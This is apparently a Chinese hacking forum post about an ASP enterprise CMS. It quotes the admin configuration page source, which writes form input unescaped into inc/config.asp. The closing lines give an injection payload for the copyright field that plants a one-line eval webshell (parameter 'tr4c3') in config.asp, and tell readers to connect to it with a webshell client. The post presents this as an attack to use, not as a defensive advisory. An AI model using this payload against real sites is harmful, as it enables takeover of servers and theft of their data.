代码来自冠龙科技多风格企业网站管理系统,不止冠龙科技用的这个,好多企业站都用的这段代码。
看admin目录下的SiteConfig.asp
CODE:
[Copy to clipboard]
<%@language=vbscript codepage=936 %>
<%
if session("adminName") = "" then
response.Redirect "Login.asp"
end if
%>
<!--#include file="../inc/Conn.asp"-->
<!--#include file="admin.asp"-->
<!-- #include file="Inc/Head.asp" -->
<!--#include file="inc/function.asp"-->
<%dim ObjInstalled,Action,FoundErr,ErrMsg
ObjInstalled=IsObjInstalled("Scripting.FileSystemObject")
Action=trim(request("Action"))
if Action="" then
Action="ShowInfo"
end if
%>
<%
if Action="SaveConfig" then
call SaveConfig()
Response.Redirect "SiteConfig.asp"
else
call ShowConfig()
end if
if FoundErr=True then
call WriteErrMsg()
end if
call CloseConn()sub ShowConfig()
%>
<form method="POST" action="SiteConfig.asp" id="form" name="form">
<table border="0" align="center" cellpadding="2" cellspacing="1" class="border" >
<tr>
<td height="32" colspan="2" class="topbg"> <div align="center">网
站 配 置</div> <div align="center"></div></td>
</tr>
<tr>
<td colspan="2" class="Title">网站信息配置</td>
</tr>
<tr>
<td class="tdbgl">网站名称:</td>
<td class="tdbg"> <input name="SiteName" type="text" id="SiteName" value="<%=SiteName%>" size="40" maxlength="50"> </td>
</tr>
<tr>
<td class="tdbgl">网站标题:</td>
<td class="tdbg"> <input name="SiteTitle" type="text" id="SiteTitle" value="<%=SiteTitle%>" size="40" maxlength="50"> </td>
</tr>
<tr>
<td class="tdbgl">网站地址:</td>
<td class="tdbg">
<input name="SiteUrl" type="text" id="SiteUrl" value="<%=SiteUrl%>" size="40" maxlength="255">
注意:不用填入 <FONT COLOR="FF0000">http://</FONT></td>
</tr>
<tr>
<td class="tdbgl">公司邮局:
请添写完整URL地址</td>
<td class="tdbg"> <input name="EnterpriseMail" type="text" id="EnterpriseMail" value="<%=EnterpriseMail%>" size="40" maxlength="255"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbgl">LOGO地址: </td>
<td colspan="3" class="tdbg"> <input name="LogoUrl" type="text" id="LogoUrl" value="<%=LogoUrl%>" size="40" maxlength="255"> </td>
</tr>
<tr>
<td class="tdbgl">首页Banner地址(只能用FLASH):<br>
图片格式为:jpg,gif,bmp,png,swf </td>
<td colspan="5" class="tdbg"> <input name="BannerUrl" type="text" id="BannerUrl" value="<%=BannerUrl%>" size="25" maxlength="255"> 宽度:
<input name="width" type="text" id="width" value="<%=width%>" size="6" maxlength="5">高度:
<input name="High" type="text" id="High" value="<%=High%>" size="6" maxlength="5"></td>
</tr>
<tr>
<td class="tdbgl">是否为FLASH:</td>
<td colspan="3" class="tdbg"> <input name="IsFlash" type="radio" value="Yes" <%if IsFlash="Yes" then response.write "checked"%>>
是 <input name="IsFlash" type="radio" value="No" <%if IsFlash="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">站长姓名:</td>
<td class="tdbg"> <input name="WebmasterName" type="text" id="WebmasterName" value="<%=WebmasterName%>" size="40" maxlength="20"> </td>
</tr>
<tr>
<td class="tdbgl">站长信箱:</td>
<td class="tdbg"> <input name="WebmasterEmail" type="text" id="WebmasterEmail" value="<%=WebmasterEmail%>" size="40" maxlength="100"> </td>
</tr>
<tr>
<td class="tdbgl">版权信息:<br>
支持HTML标记,不能使用双引号</td>
<td class="tdbg"><textarea name="Copyright" cols="50" rows="8" id="Copyright"><%=Copyright%></textarea></td>
</tr>
<tr>
<td class="tdbgl">版权信息(英文):<br>
支持HTML标记,不能使用双引号</td>
<td class="tdbg"><textarea name="EnCopyright" cols="50" rows="8" id="EnCopyright"><%=EnCopyright%></textarea> </td>
</tr>
<tr>
<td colspan="4" class="Title">网站选项配置</td>
</tr>
<tr>
<td class="tdbgl">首页每页产品或文章数:</td>
<td class="tdbg"> <input name="MaxPerPage_Default" type="text" id="MaxPerPage_Default" value="<%=MaxPerPage_Default%>" size="6" maxlength="5"></td>
</tr>
<tr>
<td class="tdbgl">首页新闻资讯条数:</td>
<td class="tdbg"> <input name="New_count" type="text" id="New_count" value="<%=New_count%>" size="6" maxlength="5"></td>
</tr>
<tr>
<td class="tdbgl">首页产品列表数:</td>
<td class="tdbg"> <input name="Product_count" type="text" id="Product_count" value="<%=Product_count%>" size="6" maxlength="5"></td>
</tr>
<tr>
<td class="tdbgl">产品搜索页每页文章数:</td>
<td class="tdbg"> <input name="MaxPerPage_Search" type="text" id="MaxPerPage_Search" value="<%=MaxPerPage_Search%>" size="6" maxlength="5"></td>
</tr>
<tr>
<td class="tdbgl">每页显示大约字符数:</td>
<td class="tdbg"> <input name="MaxPerPage_Content" type="text" id="MaxPerPage_Content" value="<%=MaxPerPage_Content%>" size="6" maxlength="5"></td>
</tr>
<tr>
<td class="tdbgl">是否启用新闻评论功能:</td>
<td class="tdbg"> <input type="radio" name="NewsComment" value="Yes" <%if NewsComment="Yes" then response.write "checked"%>>
是 <input type="radio" name="NewsComment" value="No" <%if NewsComment="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">是否启用产品审核功能:</td>
<td class="tdbg"> <input type="radio" name="EnableProductCheck" value="Yes" <%if EnableProductCheck="Yes" then response.write "checked"%>>
是 <input type="radio" name="EnableProductCheck" value="No" <%if EnableProductCheck="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">是否开放文件上传:</td>
<td class="tdbg"> <input type="radio" name="EnableUploadFile" value="Yes" <%if EnableUploadFile="Yes" then response.write "checked"%>>
是 <input type="radio" name="EnableUploadFile" value="No" <%if EnableUploadFile="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">自动删除无用的产品图片上传文件:</td>
<td class="tdbg"> <input type="radio" name="DelUploadProductPic" value="Yes" <%if DelUploadProductPic="Yes" then response.write "checked"%>>
是 <input type="radio" name="DelUploadProductPic" value="No" <%if DelUploadProductPic="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">自动删除无用的下载图片上传文件:</td>
<td class="tdbg"> <input type="radio" name="DelUploadSoftPic" value="Yes" <%if DelUploadSoftPic="Yes" then response.write "checked"%>>
是 <input type="radio" name="DelUploadSoftPic" value="No" <%if DelUploadSoftPic="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">删除下载时是否同时删除产品中的上传文件:</td>
<td class="tdbg"> <input type="radio" name="DelsoftUpFiles" value="Yes" <%if DelsoftUpFiles="Yes" then response.write "checked"%>>
是 <input type="radio" name="DelsoftUpFiles" value="No" <%if DelsoftUpFiles="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">是否显示公告:</td>
<td class="tdbg"> <input type="radio" name="PopAnnounce" value="Yes" <%if PopAnnounce="Yes" then response.write "checked"%>>
是 <input type="radio" name="PopAnnounce" value="No" <%if PopAnnounce="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">是否使用软键盘输入密码:<br>
若选择是,则会员登陆后台时使用软键盘输入密码,适合网吧等场所上网使用。</td>
<td class="tdbg"> <input type="radio" name="EnableSoftKey" value="true" <%if EnableSoftKey=true then response.write "checked"%>>
是 <input type="radio" name="EnableSoftKey" value="False" <%if EnableSoftKey=False then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">是否显示QQ在线咨询:</td>
<td class="tdbg"> <input type="radio" name="Isqq" value="Yes" <%if Isqq="Yes" then response.write "checked"%>>
是 <input type="radio" name="Isqq" value="No" <%if Isqq="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">热门新闻点击数:</td>
<td class="tdbg"> <input name="HitsOfHot" type="text" id="HitsOfHot" value="<%=HitsOfHot%>" size="6" maxlength="5"></td>
</tr>
<tr>
<td class="tdbgl">上传文件大小限制:<br>
建议不要超过1024K,以免影响服务器性能:</td>
<td class="tdbg"> <input name="MaxFileSize" type="text" id="MaxFileSize" value="<%=MaxFileSize%>" size="6" maxlength="5">
K</td>
</tr>
<tr>
<td class="tdbgl">存放上传文件的目录:<br>
请输入相对于首页(Default.asp)的相对路径</td>
<td class="tdbg"> <input name="SaveUpFilesPath" type="text" id="SaveUpFilesPath" value="<%=SaveUpFilesPath%>" size="30" maxlength="100"></td>
</tr>
<tr>
<td class="tdbgl">存放下载上传文件的目录:<br>
请输入相对于首页(Default.asp)的相对路径</td>
<td class="tdbg"> <input name="SaveUpSoftPath" type="text" id="SaveUpSoftPath" value="<%=SaveUpSoftPath%>" size="30" maxlength="100"></td>
</td>
</tr>
<tr>
<td class="tdbgl">允许的上传文件类型:<br>
只输入扩展名。每种文件类型用“|”号分开。</td>
<td class="tdbg"> <input name="UpFileType" type="text" id="UpFileType2" value="<%=UpFileType%>" size="50" maxlength="255"></td>
</tr>
<tr>
<td class="tdbgl">删除文章时是否同时删除文章中的上传文件:<br>
此功能需要FSO支持。</td>
<td class="tdbg"> <input type="radio" name="DelUpFiles" value="Yes" <%if DelUpFiles="Yes" then response.write "checked"%>>
是 <input type="radio" name="DelUpFiles" value="No" <%if DelUpFiles="No" then response.write "checked"%>>
否</td>
</tr>
<tr>
<td class="tdbgl">Session会话的保持时间:<br>
主要用于后台管理员登录,为了安全,请不要将时间设得太长。建议设为10分钟</td>
<td class="tdbg"> <input name="SessionTimeout" type="text" id="SessionTimeout" value="<%=SessionTimeout%>" size="6" maxlength="5">
分钟</td>
</tr>
<tr>
<td class="tdbgl"> </td>
<td class="tdbg"> </td>
</tr>
<tr>
<td colspan="2" class="Title">邮件服务器选项</td>
</tr>
<tr>
<td class="tdbgl">邮件发送组件:<br>
请一定要选择服务器上已安装的组件</td>
<td class="tdbg"> <select name="MailObject" id="MailObject">
<option value="Jmail" selected>Jmail</option>
</select> </td>
</tr>
<tr>
<td class="tdbgl">SMTP服务器地址:<br>
用来发送邮件的SMTP服务器<br>
如果你不清楚此参数含义,请联系你的空间商 </td>
<td class="tdbg"> <input name="MailServer" type="text" id="MailServer" value="<%=MailServer%>" size="40"> </td>
</tr>
<tr>
<td class="tdbgl">SMTP登录用户名:<br>
当你的服务器需要SMTP身份验证时还需设置此参数</td>
<td class="tdbg"> <input name="MailServerUserName" type="text" id="MailServerUserName" value="<%=MailServerUserName%>" size="40"> </td>
</tr>
<tr>
<td class="tdbgl">SMTP登录密码:<br>
当你的服务器需要SMTP身份验证时还需设置此参数 </td>
<td class="tdbg"> <input name="MailServerPassWord" type="password" id="MailServerPassWord" value="<%=MailServerPassWord%>" size="40"> </td>
</tr>
<tr>
<td class="tdbgl">SMTP域名:<br>
如果用“name@domain.com”这样的用户名登录时,请指明domain.com</td>
<td class="tdbg"> <input name="MailDomain" type="text" id="MailDomain" value="<%=MailDomain%>" size="40"> </td>
</tr>
<tr>
<td class="tdbgl"> </td>
<td class="tdbg"><input name="Action" type="hidden" id="Action" value="SaveConfig">
<input name="cmdSave" type="submit" id="cmdSave" value=" 保存设置 " <% If ObjInstalled=false Then response.write "disabled" %>></td>
</tr>
<%
If ObjInstalled=false Then
Response.Write "<tr class='a4'><td height='40' colspan='3'><b><font color=red>你的服务器不支持 FSO(Scripting.FileSystemObject)! 不能使用本功能。<br>请直接修改“Inc/config.asp”文件中的内容。</font></b></td></tr>"
End If
%>
</table>
<%
end sub
%>
</form>
</body>
</html>
<%
sub SaveConfig()
If ObjInstalled=false Then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你的服务器不支持 FSO(Scripting.FileSystemObject)! </li>"
exit sub
end if
dim fso,hf
set fso=Server.CreateObject("Scripting.FileSystemObject")
set hf=fso.CreateTextFile(Server.mappath("../inc/config.asp"),true)
hf.write "<" & "%" & vbcrlf
hf.write "Const SiteName=" & chr(34) & trim(request("SiteName")) & chr(34) & " '网站名称" & vbcrlf
hf.write "Const SiteTitle=" & chr(34) & trim(request("SiteTitle")) & chr(34) & " '网站标题" & vbcrlf
hf.write "Const SiteUrl=" & chr(34) & trim(request("SiteUrl")) & chr(34) & " '网站地址" & vbcrlf
hf.write "Const EnterpriseMail=" & chr(34) & trim(request("EnterpriseMail")) & chr(34) & " '公司邮局" & vbcrlf
hf.write "Const LogoUrl=" & chr(34) & trim(request("LogoUrl")) & chr(34) & " 'Logo地址" & vbcrlf
hf.write "Const BannerUrl=" & chr(34) & trim(request("BannerUrl")) & chr(34) & " 'Banner地址" & vbcrlf
hf.write "Const IsFlash=" & chr(34) & trim(request("IsFlash")) & chr(34) & " '是否为FLASH" & vbcrlf
hf.write "Const width=" & chr(34) & trim(request("width")) & chr(34) & " '宽度" & vbcrlf
hf.write "Const High=" & chr(34) & trim(request("High")) & chr(34) & " '高度" & vbcrlf
hf.write "Const WebmasterName=" & chr(34) & trim(request("WebmasterName")) & chr(34) & " '站长姓名" & vbcrlf
hf.write "Const WebmasterEmail=" & chr(34) & trim(request("WebmasterEmail")) & chr(34) & " '站长信箱" & vbcrlf
hf.write "Const Copyright=" & chr(34) & trim(request("Copyright")) & chr(34) & " '版权信息" & vbcrlf
hf.write "Const EnCopyright=" & chr(34) & trim(request("EnCopyright")) & chr(34) & " '版权信息" & vbcrlf
hf.write "Const MaxPerPage_Default=" & trim(request("MaxPerPage_Default")) & " '首页每页产品或文章数" & vbcrlf
hf.write "Const New_count=" & trim(request("New_count")) & " '首面新闻资讯条数" & vbcrlf
hf.write "Const Product_count=" & trim(request("Product_count")) & " '首面产品列表数" & vbcrlf
hf.write "Const MaxPerPage_Search=" & trim(request("MaxPerPage_Search")) & " '文章搜索页每页文章数" & vbcrlf
hf.write "Const MaxPerPage_Content=" & trim(request("MaxPerPage_Content")) & " '每页显示大约字符数" & vbcrlf
hf.write "Const NewsComment=" & chr(34) & trim(request("NewsComment")) & chr(34) & " '是否启用新闻评论功能" & vbcrlf
hf.write "Const EnableProductCheck=" & chr(34) & trim(request("EnableProductCheck")) & chr(34) & " '是否启用文章审核功能" & vbcrlf
hf.write "Const EnableUploadFile=" & chr(34) & trim(request("EnableUploadFile")) & chr(34) & " '是否开放文件上传" & vbcrlf
hf.write "Const DelUploadProductPic=" & chr(34) & trim(request("DelUploadProductPic")) & chr(34) & " '自动删除无用的产品图片上传文件" & vbcrlf
hf.write "Const DelUploadSoftPic=" & chr(34) & trim(request("DelUploadSoftPic")) & chr(34) & " '自动删除无用的下载图片上传文件" & vbcrlf
hf.write "Const PopAnnounce=" & chr(34) & trim(request("PopAnnounce")) & chr(34) & " '是否弹出公告窗口" & vbcrlf
hf.write "Const EnableSoftKey="& trim(request("EnableSoftKey")) &" '是否使用软键盘输入密码" & vbcrlf
hf.write "Const Isqq=" & chr(34) & trim(request("Isqq")) & chr(34) & " '是否显示QQ在线咨询" & vbcrlf
hf.write "Const HitsOfHot=" & trim(request("HitsOfHot")) & " '热门文章点击数" & vbcrlf
hf.write "Const MaxFileSize=" & trim(request("MaxFileSize")) & " '上传文件大小限制" & vbcrlf
hf.write "Const SaveUpFilesPath=" & chr(34) & trim(request("SaveUpFilesPath")) & chr(34) & " '存放上传文件的目录" & vbcrlf
hf.write "Const SaveUpSoftPath=" & chr(34) & trim(request("SaveUpSoftPath")) & chr(34) & " '下载上传文件的目录" & vbcrlf
hf.write "Const UpFileType=" & chr(34) & trim(request("UpFileType")) & chr(34) & " '允许的上传文件类型" & vbcrlf
hf.write "Const DelUpFiles=" & chr(34) & trim(request("DelUpFiles")) & chr(34) & " '删除文章时是否同时删除文章中的上传文件" & vbcrlf
hf.write "Const SessionTimeout=" & trim(request("SessionTimeout")) & " 'Session会话的保持时间" & vbcrlf
hf.write "Const MailObject=" & chr(34) & trim(request("MailObject")) & chr(34) & " '邮件发送组件" & vbcrlf
hf.write "Const MailServer=" & chr(34) & trim(request("MailServer")) & chr(34) & " '用来发送邮件的SMTP服务器" & vbcrlf
hf.write "Const MailServerUserName=" & chr(34) & trim(request("MailServerUserName")) & chr(34) & " '登录用户名" & vbcrlf
hf.write "Const MailServerPassWord=" & chr(34) & trim(request("MailServerPassWord")) & chr(34) & " '登录密码" & vbcrlf
hf.write "Const MailDomain=" & chr(34) & trim(request("MailDomain")) & chr(34) & " '域名" & vbcrlf
hf.write "%" & ">"
hf.close
set hf=nothing
set fso=nothing
end sub
%>
<!-- #include file="Inc/Foot.asp" -->
写入配置文件,登录后台,在网站配置里的版权信息里写入
CODE:
[Copy to clipboard]
"%><%eval(request("tr4c3"))%><%'
http://www.xxx.com/inc/config.asp
既是我们的网马地址,拿起你的客户端连吧。